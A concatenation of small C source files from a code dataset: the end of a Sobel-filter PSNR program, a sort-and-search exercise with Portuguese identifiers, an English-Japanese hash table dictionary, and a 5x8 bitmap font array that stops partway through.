(output[i+j] - golden[i+j])*(output[i+j] - golden[i+j]); } } /* Now run through the output and the golden output to calculate * * the MSE and then the PSNR. */ for (i=SIZE; i<loops; i+=SIZE) { //temp3 = i*SIZE; for ( j=1; j<temp5; j++ ) { temp3 = output[i+j] - golden[i+j]; PSNR += temp3*temp3; //PSNR += t; } } //PSNR /= (double)(POWSIZE); t = log10(((double)(POWSIZE))/PSNR); PSNR = 48 + t + t + t + t + t + t + t + t + t + t; /* This is the end of the main computation. Take the end time, * * calculate the duration of the computation and report it. */ clock_gettime(CLOCK_MONOTONIC_RAW, &tv2); printf ("Total time = %10g seconds\n", (double) (tv2.tv_nsec - tv1.tv_nsec) / 1000000000.0 + (double) (tv2.tv_sec - tv1.tv_sec)); /* Write the output file */ fwrite(output, sizeof(unsigned char), SIZE*SIZE, f_out); fclose(f_out); return PSNR; } int main(int argc, char* argv[]) { double PSNR; PSNR = sobel(input, output, golden); printf("PSNR of original Sobel and computed Sobel image: %g\n", PSNR); printf("A visualization of the sobel filter can be found at " OUTPUT_FILE ", or you can run 'make image' to get the jpg\n"); return 0; }
the_stack_data/193893378.c
#include <stdio.h> #include <stdlib.h> void hordena(int *array, int tam) { int i, j, key; for (i = 0; i < tam; i++) { key = array[i]; j = i - 1; while( (j >= 0) && (array[j] > key) ) { array[j+1] = array[j]; j--; } array[j+1] = key; } } int busca(int *array,int tamanho,int elemento,int inicio,int final,int meio) { int i, soma = 0; for(i = meio ; i < final ; i++) { soma += array[meio+1] - array[meio]; } printf("soma:%d\n", soma); if(soma == elemento) { return meio; } else if(soma < elemento) { return busca(array, tamanho, elemento, inicio, meio, (meio/2)+1); } else if(soma > elemento) { return busca(array, tamanho, elemento, meio, final, (final+meio)/2); } else return -1; } int main() { int qt_arvores, madeira, i; int arvores[1000000]; scanf("%d %d", &qt_arvores, &madeira); for(i = 0 ; i < qt_arvores ; i++) { scanf("%d", &arvores[i]); } hordena(arvores, qt_arvores); printf("%d\n", busca(arvores, qt_arvores, madeira, 0, qt_arvores, (qt_arvores/2))); return 0; }
the_stack_data/107952641.c
#include <stdio.h> #include <stdlib.h> #include <string.h> // English and Japanese correspondent word set typedef struct { char *english; char *japanese; } Wordset; // hash table typedef struct { Wordset **data; unsigned int size; } Hashtable; // hash function #1 // hash = (sum of ASCII code of string) % MAX unsigned int hashFunc1(char *str, unsigned int hashMax) { unsigned int n, length, hash; length = strlen(str); for (n = 0, hash = 0; n < length; n++) { hash += (int)str[n]; } return hash % hashMax; } // hash function #2 // hash = (str[0]*16^0 + str[1]*16^1 + ... + // str[7]*16^7 + str[8]*16^0 + ...) % MAX unsigned int hashFunc2(char* str, unsigned int hashMax) { unsigned int n, length, hash, weight; length = strlen(str); for (n = 0, hash = 0; n < length; n++, weight++) { if (weight > 7) { weight = 0; } hash += (int)str[n] << (4 * weight); } return hash % hashMax; } // rehash // when the hash conflicts, calculate hash again unsigned int rehash(Hashtable *hashtable, unsigned int firsthash) { unsigned int hash, k; for (k = 1; k <= (hashtable->size / 2); k++) { // rehash on hash+1, hash+4, ... hash+(size/2)^2 hash = (firsthash + k * k) % hashtable->size; if (hashtable->data[hash] == NULL) { return hash; } } return -1; } // add new data void addDataToMap(Hashtable *hashtable, Wordset *newdata) { unsigned int hash; hash = hashFunc2(newdata->english, hashtable->size); if (hashtable->data[hash] != NULL) { hash = rehash(hashtable, hash); // failed to rehash if (hash == -1) { printf("no space on hashmap to add \"%s\"\n", newdata->english); return; } } hashtable->data[hash] = newdata; } // find data char *getDataFromMap(Hashtable *hashtable, char *key) { unsigned int hash, k; Wordset *word; hash = hashFunc2(key, hashtable->size); // search hash, hash+1, hash+4, ... , hash+(size/2)^2 for (k = 0; k <= (hashtable->size /2); k++) { word = hashtable->data[(hash + k * k) % hashtable->size]; if (word != NULL) { // compare string if (strcmp(key, word->english) == 0) { return word->japanese; } } } // not found return NULL; } // remove data Wordset *removeDataFromMap(Hashtable *hashtable, char *key) { unsigned int hash, k; Wordset *word; hash = hashFunc2(key, hashtable->size); for (k = 0; k <= (hashtable->size / 2); k++) { word = hashtable->data[(hash + k * k) % hashtable->size]; if (word != NULL) { if (strcmp(key, word->english) == 0) { hashtable->data[(hash + k * k) % hashtable->size] = NULL; return word; } } } // not found return NULL; } // init hashtable with specified size (prime number is good) void initHashtable(Hashtable *hashtable, unsigned int size) { int i; hashtable->data = (Wordset**)malloc(sizeof(Wordset*) * size); // memset sets (unsigned char) data //memset(hashtable->data, NULL, sizeof(Wordset*) * size); for (i = 0; i < size; i++) { hashtable->data[i] = NULL; } hashtable->size = size; } // clean up hashtable void cleanupHashtable(Hashtable *hashtable) { free(hashtable->data); hashtable->size = 0; } // print hashtable void printAllData(Hashtable *hashtable) { unsigned int n; for (n = 0; n < hashtable->size; n++) { if (hashtable->data[n] != NULL) { printf("%04d: [%s]\t%s\n", n, hashtable->data[n]->english, hashtable->data[n]->japanese); } } } int main(void) { unsigned int n; char key[64], *japanese; Hashtable hashtable; Wordset *wordfound; Wordset words[] = { {"dolphin", "イルカ"}, {"beluga", "シロイルカ"}, {"grampus", "シャチ"}, {"medusa", "クラゲ"}, {"otter", "カワウソ"} }; // init and add word data initHashtable(&hashtable, 503); for (n = 0; n < 5; n++) { addDataToMap(&hashtable, &words[n]); } do { printf("Operation\n"); printf("1: search 2: remove 3: print all 0: exit\n"); printf("> "); scanf("%d", &n); switch (n) { // search case 1: printf("search English word > "); scanf("%s", key); japanese = getDataFromMap(&hashtable, key); if (japanese != NULL) { printf("\"%s\" in Japanese: \"%s\"\n", key, japanese); } else { printf("not found\n"); } break; // remove case 2: printf("remove English word > "); scanf("%s", key); wordfound = removeDataFromMap(&hashtable, key); if (wordfound != NULL) { printf("remove \"%s\" from map\n", key); } else { printf("not found\n"); } break; // print case 3: printAllData(&hashtable); break; default: break; } } while (n != 0); cleanupHashtable(&hashtable); return 0; }
the_stack_data/162643843.c
/* * https://github.com/idispatch/raster-fonts/blob/master/font-5x8.c */ const unsigned char console_font_5x8[] = { /* * code=0, hex=0x00, ascii="^@" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=1, hex=0x01, ascii="^A" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0xA8, /* 10101 */ 0xF8, /* 11111 */ 0xD8, /* 11011 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=2, hex=0x02, ascii="^B" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0xA8, /* 10101 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=3, hex=0x03, ascii="^C" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=4, hex=0x04, ascii="^D" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0xF8, /* 11111 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=5, hex=0x05, ascii="^E" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0xA8, /* 10101 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=6, hex=0x06, ascii="^F" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0xF8, /* 11111 */ 0xA8, /* 10101 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=7, hex=0x07, ascii="^G" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=8, hex=0x08, ascii="^H" */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xD8, /* 11011 */ 0x88, /* 10001 */ 0xD8, /* 11011 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ /* * code=9, hex=0x09, ascii="^I" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=10, hex=0x0A, ascii="^J" */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xD8, /* 11011 */ 0x88, /* 10001 */ 0xD8, /* 11011 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ /* * code=11, hex=0x0B, ascii="^K" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x38, /* 00111 */ 0x18, /* 00011 */ 0x68, /* 01101 */ 0xA0, /* 10100 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=12, hex=0x0C, ascii="^L" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=13, hex=0x0D, ascii="^M" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x40, /* 01000 */ 0xC0, /* 11000 */ 0x80, /* 10000 */ 0x00, /* 00000 */ /* * code=14, hex=0x0E, ascii="^N" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x38, /* 00111 */ 0x48, /* 01001 */ 0x58, /* 01011 */ 0xD0, /* 11010 */ 0x80, /* 10000 */ 0x00, /* 00000 */ /* * code=15, hex=0x0F, ascii="^O" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=16, hex=0x10, ascii="^P" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x60, /* 01100 */ 0x70, /* 01110 */ 0x60, /* 01100 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=17, hex=0x11, ascii="^Q" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x30, /* 00110 */ 0x70, /* 01110 */ 0x30, /* 00110 */ 0x10, /* 00010 */ 0x00, /* 00000 */ /* * code=18, hex=0x12, ascii="^R" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=19, hex=0x13, ascii="^S" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=20, hex=0x14, ascii="^T" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x78, /* 01111 */ 0xD0, /* 11010 */ 0xD0, /* 11010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=21, hex=0x15, ascii="^U" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x18, /* 00011 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x48, /* 01001 */ 0x30, /* 00110 */ 0xC0, /* 11000 */ /* * code=22, hex=0x16, ascii="^V" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ /* * code=23, hex=0x17, ascii="^W" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x70, /* 01110 */ /* * code=24, hex=0x18, ascii="^X" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=25, hex=0x19, ascii="^Y" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=26, hex=0x1A, ascii="^Z" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0xF8, /* 11111 */ 0x10, /* 00010 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=27, hex=0x1B, ascii="^[" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0xF8, /* 11111 */ 0x40, /* 01000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=28, hex=0x1C, ascii="^\" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x80, /* 10000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=29, hex=0x1D, ascii="^]" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0xF8, /* 11111 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=30, hex=0x1E, ascii="^^" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ /* * code=31, hex=0x1F, ascii="^_" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=32, hex=0x20, ascii=" " */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=33, hex=0x21, ascii="!" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=34, hex=0x22, ascii=""" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=35, hex=0x23, ascii="#" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0xF8, /* 11111 */ 0x50, /* 01010 */ 0xF8, /* 11111 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=36, hex=0x24, ascii="$" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x30, /* 00110 */ 0x40, /* 01000 */ 0x30, /* 00110 */ 0x60, /* 01100 */ 0x20, /* 00100 */ /* * code=37, hex=0x25, ascii="%" */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0xA8, /* 10101 */ 0x50, /* 01010 */ 0x30, /* 00110 */ 0x68, /* 01101 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=38, hex=0x26, ascii="&" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x30, /* 00110 */ 0x40, /* 01000 */ 0x68, /* 01101 */ 0x90, /* 10010 */ 0x68, /* 01101 */ 0x00, /* 00000 */ /* * code=39, hex=0x27, ascii="'" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=40, hex=0x28, ascii="(" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=41, hex=0x29, ascii=")" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=42, hex=0x2A, ascii="*" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=43, hex=0x2B, ascii="+" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=44, hex=0x2C, ascii="," */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x40, /* 01000 */ /* * code=45, hex=0x2D, ascii="-" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=46, hex=0x2E, ascii="." */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=47, hex=0x2F, ascii="/" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=48, hex=0x30, ascii="0" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=49, hex=0x31, ascii="1" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=50, hex=0x32, ascii="2" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=51, hex=0x33, ascii="3" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x10, /* 00010 */ 0x60, /* 01100 */ 0x10, /* 00010 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ /* * code=52, hex=0x34, ascii="4" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x30, /* 00110 */ 0x50, /* 01010 */ 0xF0, /* 11110 */ 0x10, /* 00010 */ 0x00, /* 00000 */ /* * code=53, hex=0x35, ascii="5" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0xE0, /* 11100 */ 0x10, /* 00010 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ /* * code=54, hex=0x36, ascii="6" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x80, /* 10000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=55, hex=0x37, ascii="7" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=56, hex=0x38, ascii="8" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=57, hex=0x39, ascii="9" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x10, /* 00010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=58, hex=0x3A, ascii=":" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=59, hex=0x3B, ascii=";" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x40, /* 01000 */ /* * code=60, hex=0x3C, ascii="<" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x10, /* 00010 */ 0x00, /* 00000 */ /* * code=61, hex=0x3D, ascii="=" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=62, hex=0x3E, ascii=">" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=63, hex=0x3F, ascii="?" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x10, /* 00010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=64, hex=0x40, ascii="@" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x88, /* 10001 */ 0xB0, /* 10110 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=65, hex=0x41, ascii="A" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=66, hex=0x42, ascii="B" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ /* * code=67, hex=0x43, ascii="C" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=68, hex=0x44, ascii="D" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ /* * code=69, hex=0x45, ascii="E" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0xE0, /* 11100 */ 0x80, /* 10000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=70, hex=0x46, ascii="F" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0xE0, /* 11100 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x00, /* 00000 */ /* * code=71, hex=0x47, ascii="G" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x80, /* 10000 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=72, hex=0x48, ascii="H" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=73, hex=0x49, ascii="I" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=74, hex=0x4A, ascii="J" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x10, /* 00010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=75, hex=0x4B, ascii="K" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0xA0, /* 10100 */ 0xC0, /* 11000 */ 0xA0, /* 10100 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=76, hex=0x4C, ascii="L" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=77, hex=0x4D, ascii="M" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=78, hex=0x4E, ascii="N" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0xD0, /* 11010 */ 0xB0, /* 10110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=79, hex=0x4F, ascii="O" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=80, hex=0x50, ascii="P" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x00, /* 00000 */ /* * code=81, hex=0x51, ascii="Q" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x10, /* 00010 */ /* * code=82, hex=0x52, ascii="R" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=83, hex=0x53, ascii="S" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x80, /* 10000 */ 0x60, /* 01100 */ 0x10, /* 00010 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ /* * code=84, hex=0x54, ascii="T" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=85, hex=0x55, ascii="U" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=86, hex=0x56, ascii="V" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=87, hex=0x57, ascii="W" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x88, /* 10001 */ 0xA8, /* 10101 */ 0xA8, /* 10101 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=88, hex=0x58, ascii="X" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x50, /* 01010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=89, hex=0x59, ascii="Y" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=90, hex=0x5A, ascii="Z" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x80, /* 10000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=91, hex=0x5B, ascii="[" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=92, hex=0x5C, ascii="\" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x10, /* 00010 */ 0x00, /* 00000 */ /* * code=93, hex=0x5D, ascii="]" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, 